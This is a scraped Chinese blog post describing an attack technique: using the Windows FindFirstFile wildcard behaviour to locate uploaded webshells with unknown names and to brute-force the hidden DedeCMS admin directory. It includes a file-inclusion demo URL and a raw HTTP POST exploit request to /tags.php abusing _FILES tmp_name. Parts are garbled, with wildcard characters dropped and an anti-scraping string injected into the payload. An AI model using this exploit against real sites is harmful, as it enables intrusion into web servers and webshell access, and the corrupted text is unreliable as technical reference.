奇技淫巧

#奇技淫巧 | 来源: 网络整理| 查看: 265

早上看了先知论坛的这篇文章：解决DEDECMS历史难题–找后台目录不得不说作者思路确实巧妙，作者巧妙的利用了Windows FindFirstFile和织梦程序代码中对上传图片的逻辑判断，成功在Windows环境下爆破出后台目录。可能一些人不了解Windows FindFirstFile，其实就是Windows在搜索文件时，使用到的一个winapi 函数，有时候我们找不到自己上传的马时，也可以利用它，请阅读下面一段解释：

目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5，然后下载文件的时候通过保存在数据库里的文件ID 读取出文件路径，一样也实现了文件下载，这样我们就无法直接得到我们上传的webshell 文件路径，但是当在Windows 下时，我们只需要知道文件所在目录，然后利用Windows 的特性就可以访问到文件，这是因为Windows 在搜索文件的时候使用到了FindFirstFile 这一个winapi 函数，该函数到一个文件夹(包括子文件夹) 去搜索指定文件。

利用方法很简单，我们只要将文件名不可知部分之后的字符用“”代替即可，不过要注意的一点是，只使用一个“”则只能代表一个字符，如果文件名是12345或者更长，这时候请求“1”都是访问不到文件的，需要“1 12345# demo.php

访问 http://localhost/demo.php?file=5< ，成功包含5149ff33ebec0e6ad37613ea30694c07.php文件。

下面我们再来看看如何使用这种方式，快速爆破处dedecms后台。代码逻辑，先知的这篇文章已经讲的很细了，这里直接看具体payload：

12345678910111213POST /tags.php HTTP/1.1Host: 192.168.1.9Cache-Control: max-age=0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36Upgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 132_FILES[mochazz][tmp_name]=./mo防采集串混淆然后访问www/data/downmix.data.php文件即可

漏洞组合拳 | 重置dedecms管理员后台密码重现及分析

【本文地址】

公司简介

联系我们